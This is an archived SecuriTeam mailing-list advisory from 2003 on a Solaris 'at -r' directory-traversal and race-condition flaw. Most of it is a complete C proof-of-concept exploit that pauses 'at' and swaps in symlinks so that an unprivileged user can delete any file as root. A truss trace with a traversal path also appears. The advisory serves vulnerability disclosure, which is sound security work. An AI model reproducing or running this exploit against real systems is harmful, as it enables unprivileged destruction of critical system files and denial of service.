[EXPL] Solaris 'at' Exploit Code
From: support@securiteam.com
Date: 01/30/03
- Previous message: support@securiteam.com: "[NEWS] SSH2 Clients Insecurely Store Passwords (AbsoluteTelnet, SecureCRT, Entunnel, SecureFx, and PuTTY)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 30 Jan 2003 10:45:03 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security would like to welcome Tiscali World Online
to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
- - - - - - - - -
Solaris 'at' Exploit Code
------------------------------------------------------------------------
SUMMARY
The 'at' utility in Solaris has name handling and race condition
vulnerabilities. Using the -r switch to remove a job allows an attacker to
remove any file on the file system as root. Although at filters out
absolute paths, a simple ../ directory traversal maneuver allows an
attacker to remove files out of the allowed boundary.
DETAILS
At utility reads commands from standard input and groups them together as
an at-job, to be executed later.
Each at-job is kept in separate file in at spool directory. At jobs may be
removed if -r option is used with a job-id parameter to the 'at' command.
However, there are two vulnerabilities within the code that removes at-job
from at spool directory.
At utility does not properly handle job ids specified as a parameter to
the -r option. It allows to remove jobs outside of at's spool directory if
relative path name is used. Only absolute path names are filtered out.
At verifies ownership of the file and limits the user to remove only its
own at-jobs. Unfortunately, a race condition occurs after at stats the
file and before the file is unlinked. By altering directory structure
between these two system calls, at may be fooled to remove file other than
it expects.
Since this code is executed with full root privileges, these two
vulnerabilities may allow unprivileged users to remove any files on the
file system.
Below is an example of truss output that uncovers the vulnerability:
bash# truss -o log /usr/bin/at -r ../../../../tmp/foo
[...]
chdir("/var/spool/cron/atjobs") = 0
stat64("../../../../tmp/foo", 0xFFBEF360) = 0
[...]
unlink("../../../../tmp/foo") = 0
[...]
Exploit:
Below is attached a working proof-of-concept exploit. It should succeed
after few trials (single dot is printed on each trial):
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/param.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>
#define maxjobs 256
#define tmpdir "/tmp"
#define at "/usr/bin/at"
char target[MAXPATHLEN+1];
char targetfile[MAXPATHLEN+1];
char targetdir[MAXPATHLEN+1];
void cleandirs(void);
void err(char * msg)
{
if (errno) {
int error = errno;
perror(msg);
cleandirs();
errno = error;
exit(errno);
}
}
void gohome(void)
{
char * home;
home = getenv("HOME");
if (!home) {
errno = EINVAL;
err("getenv(\"HOME\")");
}
if (chdir(home) < 0)
err("chdir($HOME)");
}
void cleandirs(void)
{
int no;
char * tmp;
for (no = 0; no < maxjobs; no++) {
char path[MAXPATHLEN+1];
snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
path[MAXPATHLEN] = '\0';
unlink(path);
snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
path[MAXPATHLEN] = '\0';
unlink(path);
rmdir(path);
}
}
void createdirs(char ** argv)
{
int no;
for(no = 0; no < maxjobs; no++) {
char path[MAXPATHLEN+1];
int fd;
snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
path[MAXPATHLEN] = '\0';
unlink(path);
if (mkdir(path, 0755) < 0 && errno != EEXIST)
err("Unable to create directory");
snprintf(path, MAXPATHLEN, "../../../..%s/%i/%s", tmpdir, no,
targetfile);
path[MAXPATHLEN] = '\0';
fd = open(path, O_CREAT|O_RDONLY, 0755);
if (fd < 0 && errno != EEXIST)
err("Unable to create file");
close(fd); /* empty file is just fine */
argv[no] = strdup(path);
if (!argv[no])
err("Unable to allocate memory");
}
argv[no] = NULL;
}
pid_t spawnat(char ** argv)
{
int no, fd;
pid_t child;
child = fork();
if (child < 0)
err("Unable to fork");
if (child)
return child;
/* child process */
if (nice(19) < 0)
err("Unable to change priority");
fd = open("/dev/null", O_RDWR);
if (fd < 0)
err("Unable to open /dev/null");
if (dup2(fd, STDIN_FILENO) < 0 ||
dup2(fd, STDOUT_FILENO) < 0 ||
dup2(fd, STDERR_FILENO) < 0)
err("Unable to dup /dev/null");
if (fd > STDERR_FILENO)
close(fd);
execv(argv[0], argv);
err("Unable to execute at binary");
}
int doit(char * target)
{
int no = 0;
char path[MAXPATHLEN+1];
char * argv[maxjobs + 3];
pid_t child;
uid_t uid = getuid();
int result = -1;
argv[0] = at;
argv[1] = "-r";
createdirs(argv+2);
child = spawnat(argv);
while (no < maxjobs) {
struct stat st;
/* check if previous attempt succeeded */
if (stat(target, &st) < 0) {
if (errno == ENOENT) {
result = 0;
break;
} else
err("Unable to stat target file");
}
/* wait until file is deleted */
snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
path[MAXPATHLEN] = '\0';
while (stat(path, &st) == 0) ;
if (errno != ENOENT)
err("Unable to stat temporary file");
/* stop the child to exploit race condition */
if (kill(child, SIGSTOP) < 0)
break;
/* find first file that hasn't been removed yet */
while (++no < maxjobs) {
snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
path[MAXPATHLEN] = '\0';
if (stat(path, &st) == 0)
break;
if (errno != ENOENT)
err("Unable to stat temporary file");
}
/* all jobs removed - too late */
if (no == maxjobs) {
kill(child, SIGCONT);
break;
}
if (unlink(path) < 0)
err("Unable to remove temporary file");
*strrchr(path, '/') = '\0';
if (rmdir(path) < 0)
err("Unable to remove temporary directory");
if (symlink(targetdir, path) < 0)
err("Unable to create symlink");
if (kill(child, SIGCONT) < 0)
err("Unable to continue child process");
no++;
}
/* avoid zombie processes */
waitpid(child, NULL, 0);
for (no = 0; no < maxjobs; no ++)
free(argv + no + 2);
return result;
}
int main(int argc, char * argv[])
{
char * tmp;
fprintf(stderr,
"
/usr/bin/at -r race condition exploit
Remove any file on the filesystem.
Bug found and exploit written by Wojciech Purczynski <cliph@isec.pl>
iSEC Security Research http://isec.pl/
");
gohome();
errno = EINVAL;
if (argc < 2)
err("Required parameter missing");
if (argv[1][0] != '/')
err("Absolute path required");
strncpy(target, argv[1], MAXPATHLEN);
target[MAXPATHLEN] = '\0';
tmp = strrchr(argv[1], '/');
*tmp = '\0';
if (tmp == argv[1])
strcpy(targetdir, "/");
else {
strncpy(targetdir, argv[1], MAXPATHLEN);
targetdir[MAXPATHLEN] = '\0';
}
strncpy(targetfile, tmp+1, MAXPATHLEN);
targetfile[MAXPATHLEN] = '\0';
while (doit(target))
fprintf(stderr, "."); /* przygarnij kropka */
fprintf(stderr, "Success!\n");
cleandirs();
return 0;
}
ADDITIONAL INFORMATION
The information has been provided <mailto:cliph@isec.pl> by Wojciech
Purczynski.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Next message: support@securiteam.com: "[UNIX] dotproject Remote File Access Vulnerability"
- Previous message: support@securiteam.com: "[NEWS] SSH2 Clients Insecurely Store Passwords (AbsoluteTelnet, SecureCRT, Entunnel, SecureFx, and PuTTY)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [EXPL] Remote BitchX/Epic Exploit Code (Serverside)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... int type; ... OpenBSD
targets: ... (Securiteam) - [EXPL] Remote Exploitable Heap Overflow in Null HTTPd
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... int sock; ... +int
printht(const char *format, ...) ... (Securiteam) - [EXPL] Foxmail FROM Field Buffer Overflow
... Get your security news from a reliable source. ... unsigned char winexec[]
= ... int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char ... (Securiteam) - [UNIX] GazTek HTTP Daemon Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Ghttpd is a fast and efficient
HTTP ... char logfilename; ... int main; ... (Securiteam) - [EXPL] Tanne Format String Exploit Code
... Beyond Security would like to welcome Tiscali World Online ... secure session-management
solution for HTTP. ... int flag; ... void usage; ... (Securiteam)